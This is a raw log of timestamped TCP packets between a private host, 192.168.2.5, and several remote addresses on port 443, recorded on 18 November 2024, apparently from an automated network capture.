Nov 18, 2024 20:21:47.497031927 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.498167992 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.498203039 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.498249054 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.499643087 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.499665022 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.608027935 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.616667032 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.616689920 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.617986917 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.618100882 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.620980978 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.621071100 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.621436119 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.621443033 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.660248041 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:47.660279036 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:47.660355091 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:47.661745071 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:47.661758900 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:47.661853075 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.987700939 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.995143890 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.995157003 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.996680021 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.996782064 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.998053074 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.998126984 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:47.998131990 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:47.998146057 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044816017 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044930935 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044939995 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044958115 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044965982 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.044972897 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.045006990 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.045027018 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.045052052 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.045129061 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.052078962 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.052089930 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.098117113 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.164761066 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.164792061 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.164829969 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.164848089 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.164860964 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.164885998 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.195857048 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.196324110 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.196341038 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.196882010 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.196887970 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.208817959 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.284383059 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.284414053 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.284456015 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.284471989 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.284501076 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.284517050 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.286550045 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.286598921 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.286606073 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.286642075 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.286643982 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.286681890 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.286853075 CET	49854	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.286866903 CET	443	49854	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.295265913 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.295713902 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.295775890 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.296288013 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.296303034 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.306675911 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.307065010 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.307099104 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.307992935 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.308028936 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.308099031 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.308146954 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.308155060 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.308275938 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.308290958 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.310997009 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.311369896 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.311399937 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.312037945 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.312047005 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.321795940 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.322364092 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.322381020 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.322957039 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.322962046 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363308907 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363399029 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363421917 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363459110 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.363461018 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363480091 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363492966 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.363500118 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363512993 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.363528013 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.363533974 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.363545895 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.363574982 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.435863018 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.435933113 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.435985088 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.436003923 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.436052084 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.436100960 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.436216116 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.436233044 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.436245918 CET	49860	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.436253071 CET	443	49860	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.438980103 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.439057112 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.439146996 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.439379930 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.439414978 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.441639900 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.441711903 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.441760063 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.441777945 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.441837072 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.441886902 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.442135096 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.442148924 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.442159891 CET	49856	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.442163944 CET	443	49856	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.446322918 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.446382999 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.446436882 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.446563959 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.446563959 CET	49861	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.446583033 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.446593046 CET	443	49861	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.446909904 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.446943045 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.447000027 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.447352886 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.447366953 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.448559046 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.448607922 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.448681116 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.448806047 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.448836088 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.460962057 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.461122036 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.461172104 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.461325884 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.461339951 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.461349964 CET	49857	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.461354971 CET	443	49857	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.463943005 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.463996887 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.464072943 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.464188099 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.464204073 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.528492928 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.528572083 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.528619051 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.529077053 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.529092073 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.529102087 CET	49855	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.529107094 CET	443	49855	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.532891035 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.532926083 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.532979012 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.533245087 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.533257961 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.537983894 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.538055897 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.542543888 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.542551041 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.542948008 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.583925009 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.594943047 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.617038012 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.617072105 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.617110968 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.617120028 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.617151022 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.617161036 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.617182016 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.617213011 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.639326096 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.750667095 CET	49703	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:48.750869036 CET	49703	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:48.751521111 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:48.751586914 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:48.751651049 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:48.752130032 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:48.752151012 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:48.756802082 CET	443	49703	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:48.756931067 CET	443	49703	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:48.841038942 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.841322899 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.841346979 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.841355085 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.841515064 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.841552019 CET	443	49862	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.841630936 CET	49862	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.887651920 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.887734890 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.887809038 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.888223886 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:48.888257027 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:48.896128893 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.896161079 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.896202087 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.896210909 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.896239996 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.896250963 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:48.896279097 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:48.896307945 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.089726925 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.093898058 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.093961000 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.095124960 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.095554113 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.095554113 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.095639944 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.097850084 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.143338919 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.145189047 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.145200014 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.191476107 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.193960905 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.194456100 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.194542885 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.194808006 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.194932938 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.194948912 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.195200920 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.195236921 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.195558071 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.195564985 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.195574045 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.196142912 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.196142912 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.196175098 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.196194887 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.234178066 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.234633923 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.234675884 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.235093117 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.235109091 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.250886917 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.250920057 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.250965118 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.251000881 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.251074076 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.251081944 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.252410889 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.273180008 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.274035931 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.274036884 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.274116993 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.274163008 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.324580908 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.324739933 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.324876070 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.324958086 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.324958086 CET	49866	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.324976921 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.324986935 CET	443	49866	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327465057 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327491045 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327536106 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327632904 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.327632904 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.327735901 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.327760935 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327775002 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.327775002 CET	49865	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.327811956 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327836990 CET	443	49865	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.327976942 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.328145981 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.328151941 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.328516006 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.328736067 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.328787088 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.328850031 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.329097033 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.329104900 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.329137087 CET	49867	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.329143047 CET	443	49867	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.331861019 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.331922054 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.332135916 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.332135916 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.332148075 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.332207918 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.332209110 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.332303047 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.332468033 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.332494974 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.353996038 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354024887 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354032993 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354087114 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.354094982 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354140043 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354166985 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354201078 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.354214907 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.354228020 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.354275942 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.369739056 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.370096922 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.370184898 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.370512962 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.370512962 CET	49868	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.370538950 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.370565891 CET	443	49868	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.372706890 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.372740030 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.372922897 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.374773026 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.374799013 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.404038906 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.404119968 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.404208899 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.404342890 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.404342890 CET	49869	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.404356003 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.404362917 CET	443	49869	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.421504021 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.421554089 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.422121048 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.422893047 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.422920942 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.449525118 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:49.449743032 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:49.481230974 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.481266022 CET	443	49864	13.107.246.45	192.168.2.5
